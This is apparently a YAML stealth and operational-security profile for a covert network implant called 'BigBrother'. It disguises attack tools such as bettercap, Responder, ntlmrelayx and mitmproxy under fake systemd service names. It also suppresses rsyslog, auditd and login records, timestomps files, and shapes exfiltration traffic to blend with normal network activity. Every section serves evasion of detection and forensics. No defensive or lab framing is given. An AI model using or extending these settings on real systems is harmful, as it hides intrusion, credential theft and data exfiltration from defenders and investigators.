# BigBrother Stealth / OPSEC Profile
# Process disguise, log suppression, anti-forensics, traffic mimicry.

# ---------------------------------------------------------------------------
# Process Name Disguise
# All managed processes renamed to innocuous system service names.
# /proc/PID/exe still points to real binary (unavoidable without LKM).
# ---------------------------------------------------------------------------
process_names:
  python3: "systemd-thermald"
  bettercap: "networkd-dispatcher"
  tcpdump: "systemd-netlogd"
  responder: "systemd-resolved"
  mitmproxy: "systemd-networkd"
  ntlmrelayx: "systemd-logind"
  hostapd: "wpa_supplicant"
  dnsmasq: "systemd-resolved"

# ---------------------------------------------------------------------------
# Log Suppression
# Minimize forensic artifacts in system logs.
# ---------------------------------------------------------------------------
log_suppression:
  rsyslog_filter: true              # Drop log entries matching our processes/paths
  auditd_exclusion: true            # Exclude our PIDs/paths from audit rules
  journald_rate_limit: true         # Rate-limit journal entries from our services
  bash_history: false               # Disable bash history for root/.bashrc
  utmp_wtmp: false                  # Suppress login records (utmp/wtmp/btmp)

# ---------------------------------------------------------------------------
# Anti-Forensics
# Minimize on-disk evidence.
# ---------------------------------------------------------------------------
anti_forensics:
  timestomp: true                   # Match all file timestamps to reference file
  timestomp_reference: "/etc/os-release"  # Use OS install date as reference
  core_dumps: false                 # Disable core dumps (ulimit -c 0)
  swap: false                       # Disable swap entirely (swapoff -a)
  secure_delete: true               # Overwrite before unlink for sensitive files
  bettercap_home_tmpfs: true        # Set $HOME to tmpfs (no ~/.bettercap/ artifacts)
  bettercap_no_history: true        # --no-history flag for bettercap

# ---------------------------------------------------------------------------
# Traffic Mimicry
# Shape implant traffic to match observed network baseline.
# ---------------------------------------------------------------------------
traffic_mimicry:
  enabled: true
  baseline_hours: 48                # Duration of traffic baseline collection
  shape_exfil: true                 # Time and size exfil to match upload patterns
  match_protocols: true             # Use same protocols as observed traffic
  match_timing: true                # Match time-of-day activity patterns
  jitter_pct: 15                    # Random jitter on all timed operations